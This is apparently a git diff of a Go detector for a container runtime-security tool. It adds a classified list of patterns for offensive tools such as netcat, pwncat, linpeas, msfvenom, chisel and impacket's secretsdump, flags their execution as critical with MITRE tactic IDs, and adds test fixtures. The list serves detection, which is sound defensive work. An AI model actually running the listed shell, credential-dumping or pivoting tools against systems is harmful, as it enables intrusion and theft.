glob.MustCompile("*/arp.spoof"), url: "https://github.com/hackerschoice/dsniff", class: "MITM"}, + {pattern: glob.MustCompile("*/bdfproxy"), url: "https://github.com/secretsquirrel/BDFProxy", class: "MITM"}, + {pattern: glob.MustCompile("*/bettercap"), url: "https://github.com/bettercap/bettercap", class: "MITM"}, + {pattern: glob.MustCompile("*/ettercap"), url: "https://www.ettercap-project.org", class: "MITM"}, + {pattern: glob.MustCompile("*/evilginx"), url: "https://github.com/kgretzky/evilginx2", class: "MITM"}, + {pattern: glob.MustCompile("*/net.sniff"), url: "", class: "MITM"}, + {pattern: glob.MustCompile("*/responder*"), url: "", class: "MITM"}, + {pattern: glob.MustCompile("*/ticker.commands"), url: "", class: "MITM"}, + {pattern: glob.MustCompile("*/ticker.period"), url: "", class: "MITM"}, + {pattern: glob.MustCompile("*/wifi.recon"), url: "", class: "MITM"}, - // These tools are mostly legal but may halp in incident investigations as a good indication of potentially malicious actions. - // Most of them added as a result of Standoff hackers activity analysis, and can be removed in later versions. - suspiciousTools = []glob.Glob{ - glob.MustCompile("*/apt"), - glob.MustCompile("*/apt-get"), - glob.MustCompile("*/apk"), - glob.MustCompile("*/id"), - glob.MustCompile("*/whoami"), - glob.MustCompile("*/env"), - glob.MustCompile("*/printenv"), - glob.MustCompile("*/ip"), - glob.MustCompile("*/ifconfig"), - glob.MustCompile("*/netstat"), + // Netcat-like tools + {pattern: glob.MustCompile("*/nc"), url: "", class: "NetcatLike"}, + {pattern: glob.MustCompile("*/ncat"), url: "", class: "NetcatLike"}, + {pattern: glob.MustCompile("*/nc.traditional"), url: "", class: "NetcatLike"}, + {pattern: glob.MustCompile("*/netcat"), url: "", class: "NetcatLike"}, + {pattern: glob.MustCompile("*/pwncat"), url: "", class: "NetcatLike"}, + + // Network scanners + {pattern: glob.MustCompile("*/[an]map"), url: "", class: "NetworkScanners"}, + {pattern: glob.MustCompile("*/zenmap"), url: "", class: "NetworkScanners"}, + {pattern: glob.MustCompile("*/masscan"), url: "", class: "NetworkScanners"}, + {pattern: glob.MustCompile("*/fscan"), url: "", class: "NetworkScanners"}, + + // Network traffic tools + {pattern: glob.MustCompile("*/hping*"), url: "", class: "NetworkTraffic"}, + {pattern: glob.MustCompile("*/socat"), url: "", class: "NetworkTraffic"}, + {pattern: glob.MustCompile("*/tcpdump"), url: "", class: "NetworkTraffic"}, + {pattern: glob.MustCompile("*/wireshark"), url: "", class: "NetworkTraffic"}, + {pattern: glob.MustCompile("*/xplico"), url: "", class: "NetworkTraffic"}, + + // Pentest tools + {pattern: glob.MustCompile("*/msfconsole"), url: "", class: "Pentest"}, + {pattern: glob.MustCompile("*/msfpc"), url: "", class: "Pentest"}, + {pattern: glob.MustCompile("*/msfvenom"), url: "", class: "Pentest"}, + {pattern: glob.MustCompile("*/pypykatz*"), url: "", class: "Pentest"}, + + // Post exploitation tools + {pattern: glob.MustCompile("*/empire"), url: "", class: "PostExploitation"}, + {pattern: glob.MustCompile("*/ghost"), url: "", class: "PostExploitation"}, + + // Privilege escalation tools + {pattern: glob.MustCompile("*/beroot"), url: "", class: "PrivilegeEscalation"}, + {pattern: glob.MustCompile("*/linpeas*"), url: "", class: "PrivilegeEscalation"}, + {pattern: glob.MustCompile("*/linprivchecker"), url: "", class: "PrivilegeEscalation"}, + {pattern: glob.MustCompile("*/linuxprivchecker"), url: "", class: "PrivilegeEscalation"}, + {pattern: glob.MustCompile("*/privesc"), url: "", class: "PrivilegeEscalation"}, + {pattern: glob.MustCompile("*/traitor"), url: "", class: "PrivilegeEscalation"}, + + // Proxies + {pattern: glob.MustCompile("*/3proxy"), url: "", class: "Proxy"}, + // ligolo-ng + {pattern: glob.MustCompile("*/agent"), url: "", class: "Proxy"}, + {pattern: glob.MustCompile("*/chisel"), url: "", class: "Proxy"}, + {pattern: glob.MustCompile("*/gost"), url: "", class: "Proxy"}, + {pattern: glob.MustCompile("*/graftcp-local"), url: "", class: "Proxy"}, + {pattern: glob.MustCompile("*/mgraftcp"), url: "", class: "Proxy"}, + {pattern: glob.MustCompile("*/pivotnacci"), url: "", class: "Proxy"}, + // ligolo-ng + {pattern: glob.MustCompile("*/proxy"), url: "", class: "Proxy"}, + {pattern: glob.MustCompile("*/proxychains"), url: "", class: "Proxy"}, + {pattern: glob.MustCompile("*/proxychains[0-9]*"), url: "", class: "Proxy"}, + {pattern: glob.MustCompile("*/proxytunnel"), url: "", class: "Proxy"}, + {pattern: glob.MustCompile("*/regeorg"), url: "", class: "Proxy"}, + {pattern: glob.MustCompile("*/ssf"), url: "", class: "Proxy"}, + {pattern: glob.MustCompile("*/ssfd"), url: "", class: "Proxy"}, + {pattern: glob.MustCompile("*/sshuttle"), url: "", class: "Proxy"}, + + // Social engineering tools + {pattern: glob.MustCompile("*/setoolkit"), url: "https://github.com/trustedsec/social-engineer-toolkit", class: "SocialEngineering"}, + + // SQL tools + {pattern: glob.MustCompile("*/sqlmap"), url: "https://sqlmap.org", class: "SQL"}, + + // System info discovery tools + {pattern: glob.MustCompile("*/enum4linux"), url: "https://labs.portcullis.co.uk/tools/enum4linux/", class: "SystemInfoDiscovery"}, + {pattern: glob.MustCompile("*/lynis"), url: "https://github.com/CISOfy/Lynis", class: "SystemInfoDiscovery"}, + {pattern: glob.MustCompile("*/mxtract"), url: "https://github.com/rek7/mXtract", class: "SystemInfoDiscovery"}, + {pattern: glob.MustCompile("*/volatility*"), url: "https://github.com/volatilityfoundation/volatility", class: "SystemInfoDiscovery"}, + + // Web tools + {pattern: glob.MustCompile("*/beef"), url: "https://github.com/beefproject/beef", class: "Web"}, + {pattern: glob.MustCompile("*/commix"), url: "https://github.com/commixproject/commix", class: "Web"}, + {pattern: glob.MustCompile("*/dirb"), url: "https://dirb.sourceforge.net", class: "Web"}, + {pattern: glob.MustCompile("*/dirbuster"), url: "https://www.kali.org/tools/dirbuster/", class: "Web"}, + {pattern: glob.MustCompile("*/dirsearch"), url: "", class: "Web"}, + {pattern: glob.MustCompile("*/gobuster"), url: "", class: "Web"}, + {pattern: glob.MustCompile("*/nikto*"), url: "", class: "Web"}, + {pattern: glob.MustCompile("*/openvas"), url: "", class: "Web"}, + {pattern: glob.MustCompile("*/phpsploit"), url: "", class: "Web"}, + {pattern: glob.MustCompile("*/skipfish"), url: "", class: "Web"}, + {pattern: glob.MustCompile("*/wpscan"), url: "", class: "Web"}, + + // Wi-Fi tools + {pattern: glob.MustCompile("*/aircrack-ng"), url: "", class: "Wi-Fi"}, + {pattern: glob.MustCompile("*/airmon-ng"), url: "", class: "Wi-Fi"}, + {pattern: glob.MustCompile("*/airodump-ng"), url: "", class: "Wi-Fi"}, + {pattern: glob.MustCompile("*/airolib-ng"), url: "", class: "Wi-Fi"}, + {pattern: glob.MustCompile("*/airgeddon"), url: "", class: "Wi-Fi"}, + {pattern: glob.MustCompile("*/rsf"), url: "", class: "Wi-Fi"}, + + // Windows tools + {pattern: glob.MustCompile("*/atexec"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/dcomexec"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/esentutl"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/getadusers"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/getarch"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/getnpusers"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/getosandsmbproperties"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/getuserspns"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/lookupsid"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/mmcexec"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/ntfs-read"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/ntlmrelayx"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/samrdump"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/secretsdump"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/smbclient"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/smbexec"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/smbrelayx"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/smbserver"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/ticketer"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/wmiexec"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/wmipersist"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/wmiquery"), url: "https://github.com/fortra/impacket", class: "Windows"}, + {pattern: glob.MustCompile("*/nbtscan"), url: "", class: "Windows"}, + {pattern: glob.MustCompile("*/spraykatz"), url: "", class: "Windows"}, } ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -105,12 +384,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -140,24 +420,148 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe switch ev := event.(type) { case *tetragon.GetEventsResponse_ProcessExec: exec := ev.ProcessExec - bin := exec.GetProcess().GetBinary() - - for _, suspTool := range suspiciousTools { - if suspTool.Match(bin) { - resp.Severity = api.DetectResp_LOW // <-- threat detected + binary := exec.GetProcess().GetBinary() + args := exec.GetProcess().GetArguments() - return resp, nil + for _, tool := range hackTools { + if !tool.pattern.Match(binary) { + continue } - } - - for _, hackTool := range hackTools { - if hackTool.Match(bin) { - resp.Severity = api.DetectResp_CRITICAL // <-- threat detected - - return resp, nil + switch { + case (tool.class == "AccountDiscovery") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecAccountDiscoveryToolsNoArgs, binary) + case (tool.class == "AccountDiscovery") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecAccountDiscoveryToolsDefault, binary, args) + case (tool.class == "Bruteforce") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecBruteforceToolsNoArgs, binary) + case (tool.class == "Bruteforce") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecBruteforceToolsDefault, binary, args) + case (tool.class == "Containers") && (args == ""): + resp.TacticsCovered = mitreTacticsContainers + resp.Reason = fmt.Sprintf(ExecContainersToolsNoArgs, binary) + case (tool.class == "Containers") && (args != ""): + resp.TacticsCovered = mitreTacticsContainers + resp.Reason = fmt.Sprintf(ExecContainersToolsDefault, binary, args) + case (tool.class == "DataRemoval") && (args == ""): + resp.TacticsCovered = mitreTacticsDataRemoval + resp.Reason = fmt.Sprintf(ExecDataRemovalToolsNoArgs, binary) + case (tool.class == "DataRemoval") && (args != ""): + resp.TacticsCovered = mitreTacticsDataRemoval + resp.Reason = fmt.Sprintf(ExecDataRemovalToolsDefault, binary, args) + case (tool.class == "DNS") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecDnsToolsNoArgs, binary) + case (tool.class == "DNS") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecDnsToolsDefault, binary, args) + case (tool.class == "FilelessExecution") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecFilelessExecToolsNoArgs, binary) + case (tool.class == "FilelessExecution") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecFilelessExecToolsDefault, binary, args) + case (tool.class == "LDAP") && (args == ""): + resp.TacticsCovered = mitreTacticsLdap + resp.Reason = fmt.Sprintf(ExecLdapToolsNoArgs, binary) + case (tool.class == "LDAP") && (args != ""): + resp.TacticsCovered = mitreTacticsLdap + resp.Reason = fmt.Sprintf(ExecLdapToolsDefault, binary, args) + case (tool.class == "MITM") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecMitmToolsNoArgs, binary) + case (tool.class == "MITM") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecMitmToolsDefault, binary, args) + case (tool.class == "NetcatLike") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecNetcatLikeToolsNoArgs, binary) + case (tool.class == "NetcatLike") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecNetcatLikeToolsDefault, binary, args) + case (tool.class == "NetworkScanners") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecNetworkScannersNoArgs, binary) + case (tool.class == "NetworkScanners") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecNetworkScannersDefault, binary, args) + case (tool.class == "NetworkTraffic") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecNetworkTrafficToolsNoArgs, binary) + case (tool.class == "NetworkTraffic") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecNetworkTrafficToolsDefault, binary, args) + case (tool.class == "Pentest") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecPentestToolsNoArgs, binary) + case (tool.class == "Pentest") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecPentestToolsDefault, binary, args) + case (tool.class == "PostExploitation") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecPostExploitationToolsNoArgs, binary) + case (tool.class == "PostExploitation") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecPostExploitationToolsDefault, binary, args) + case (tool.class == "PrivilegeEscalation") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecPrivilegeEscalationToolsNoArgs, binary) + case (tool.class == "PrivilegeEscalation") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecPrivilegeEscalationToolsDefault, binary, args) + case (tool.class == "Proxy") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecProxyToolsNoArgs, binary) + case (tool.class == "Proxy") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecProxyToolsDefault, binary, args) + case (tool.class == "SocialEngineering") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecSocialEngineeringToolsNoArgs, binary) + case (tool.class == "SocialEngineering") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecSocialEngineeringToolsDefault, binary, args) + case (tool.class == "SQL") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecSqlToolsNoArgs, binary) + case (tool.class == "SQL") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecSqlToolsDefault, binary, args) + case (tool.class == "SystemInfoDiscovery") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecSystemInfoDiscoveryToolsNoArgs, binary) + case (tool.class == "SystemInfoDiscovery") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecSystemInfoDiscoveryToolsDefault, binary, args) + case (tool.class == "Web") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecWebToolsNoArgs, binary) + case (tool.class == "Web") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecWebToolsDefault, binary, args) + case (tool.class == "Wi-Fi") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecWifiToolsNoArgs, binary) + case (tool.class == "Wi-Fi") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecWifiToolsDefault, binary, args) + case (tool.class == "Windows") && (args == ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecWindowsToolsNoArgs, binary) + case (tool.class == "Windows") && (args != ""): + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(ExecWindowsToolsDefault, binary, args) } + resp.Severity = api.DetectResp_CRITICAL // <-- threat detected + + return resp, nil } + return resp, nil + case *tetragon.GetEventsResponse_ProcessExit: // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: @@ -169,216 +573,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_exec": { - "process": { - "exec_id": "a2luZC1jb250cm9sLXBsYW5lOjEyNTE4NDc5MTIyMDY0OTo3OTEzODI=", - "pid": 791382, - "uid": 0, - "cwd": "/tmp", - "binary": "/usr/bin/nc", - "arguments": "-vz postgres 5432", - "flags": "execve clone", - "start_time": "2023-11-21T22:09:06.537928399Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://9462ad558a049ce83a6d6f10fa8c2f1a63a26cbbc967721cd339ad7889d9b4de", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:b55e2651b71408015f8068dd74e1d04404a8fa607dd2cfe284b4824c11f4d9bd", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2023-11-18T21:50:00Z", - "pid": 451 - }, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "9462ad558a049ce83a6d6f10fa8c2f1", - "parent_exec_id": "a2luZC1jb250cm9sLXBsYW5lOjEyMzgxNDY3NTk2MzQ5Nzo3ODE0NzY=", - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ] - }, - "ns": { - "uts": { - "inum": 4026533031 - }, - "ipc": { - "inum": 4026533032 - }, - "mnt": { - "inum": 4026533082 - }, - "pid": { - "inum": 4026533083 - }, - "pid_for_children": { - "inum": 4026533083 - }, - "net": { - "inum": 4026532596 - }, - "cgroup": { - "inum": 4026532330, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 791382, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0 - } - }, - "parent": { - "exec_id": "a2luZC1jb250cm9sLXBsYW5lOjEyMzgxNDY3NTk2MzQ5Nzo3ODE0NzY=", - "pid": 781476, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "flags": "execve rootcwd clone", - "start_time": "2023-11-21T21:46:16.422671446Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "containerd://9462ad558a049ce83a6d6f10fa8c2f1a63a26cbbc967721cd339ad7889d9b4de", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:b55e2651b71408015f8068dd74e1d04404a8fa607dd2cfe284b4824c11f4d9bd", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2023-11-18T21:50:00Z", - "pid": 437 - }, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "9462ad558a049ce83a6d6f10fa8c2f1", - "parent_exec_id": "a2luZC1jb250cm9sLXBsYW5lOjEyMzgxNDY0NjgyNzM1Njo3ODE0NjY=", - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ] - }, - "ns": { - "uts": { - "inum": 4026533031 - }, - "ipc": { - "inum": 4026533032 - }, - "mnt": { - "inum": 4026533082 - }, - "pid": { - "inum": 4026533083 - }, - "pid_for_children": { - "inum": 4026533083 - }, - "net": { - "inum": 4026532596 - }, - "cgroup": { - "inum": 4026532330, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 781476, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0 - } - } - }, - "node_name": "kind-control-plane", - "time": "2023-11-21T22:09:06.537928399Z" +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_HACK_TOOLS/testdata/negative_benign_binary.json b/event-processor/detector/wasm/CS_RT_HACK_TOOLS/testdata/negative_benign_binary.json new file mode 100644 index 00000000..63188b3c --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_HACK_TOOLS/testdata/negative_benign_binary.json @@ -0,0 +1,23 @@ +{ + "event": { + "process_exec": { + "process": { + "pid": 12345, + "binary": "/usr/bin/cat", + "arguments": "/etc/hostname" + } + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_HACK_TOOLS/testdata/positive_linpeas_exec.json b/event-processor/detector/wasm/CS_RT_HACK_TOOLS/testdata/positive_linpeas_exec.json new file mode 100644 index 00000000..be39b975 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_HACK_TOOLS/testdata/positive_linpeas_exec.json @@ -0,0 +1,260 @@ +{ + "event": { + "process_exec": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODcxMzAxODE0NzIwMTU6MTcxMzg1MA==", + "pid": 1713850, + "uid": 0, + "cwd": "/", + "binary": "/tmp/linpeas.sh", + "arguments": "/tmp/linpeas.sh", + "flags": "execve rootcwd clone", + "start_time": "2024-03-22T12:19:16.974922315Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 60345, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODY1NjA1MDI5Mzg4NDQ6MTcwODI4Mg==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1713850, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODY1NjA1MDI5Mzg4NDQ6MTcwODI4Mg==", + "pid": 1708282, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-03-22T12:09:47.296389046Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian", + "container": { + "id": "cri-o://332cff0fb99f03f8b4fb9633f245ba21ad43339eeafd3b0ac3e5d9a38371262c", + "name": "test-pod-debian", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-02-27T13:26:02Z", + "pid": 60319, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian", + "workload_kind": "Pod" + }, + "docker": "332cff0fb99f03f8b4fb9633f245ba2", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjMyODY1NjA1MDE4MjQ1Mjc6MTcwODI4Mg==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534978, + "is_host": false + }, + "ipc": { + "inum": 4026534979, + "is_host": false + }, + "mnt": { + "inum": 4026535073, + "is_host": false + }, + "pid": { + "inum": 4026535074, + "is_host": false + }, + "pid_for_children": { + "inum": 4026535074, + "is_host": false + }, + "net": { + "inum": 4026534980, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026535075, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 1708282, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null + } + }, + "node_name": "test-k8s-cluster", + "time": "2024-03-22T12:19:16.974922129Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_HACK_TOOLS", + "severity": "CRITICAL", + "reason_contains": "tool", + "tactics": [ + "TA0002", + "TA0003", + "TA0004", + "TA0005", + "TA0006", + "TA0007", + "TA0040" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "CRITICAL", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_HACK_TOOLS_EXT/main.go b/event-processor/detector/wasm/CS_RT_HACK_TOOLS_EXT/main.go deleted file mode 100644 index 80fd8ea1..00000000 --- a/event-processor/detector/wasm/CS_RT_HACK_TOOLS_EXT/main.go +++ /dev/null @@ -1,569 +0,0 @@ -//go:build tinygo.wasm - -package main - -import ( - "context" - "regexp" - - "github.com/gobwas/glob" - "github.com/runtime-radar/runtime-radar/event-processor/detector/api" - "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" -) - -const ( - ID = "CS_RT_HACK_TOOLS_EXT" - Name = "Hacking tools (extended version)" - Description = "The detector detects if any known hacking tools were started, such as nmap, netcat, and 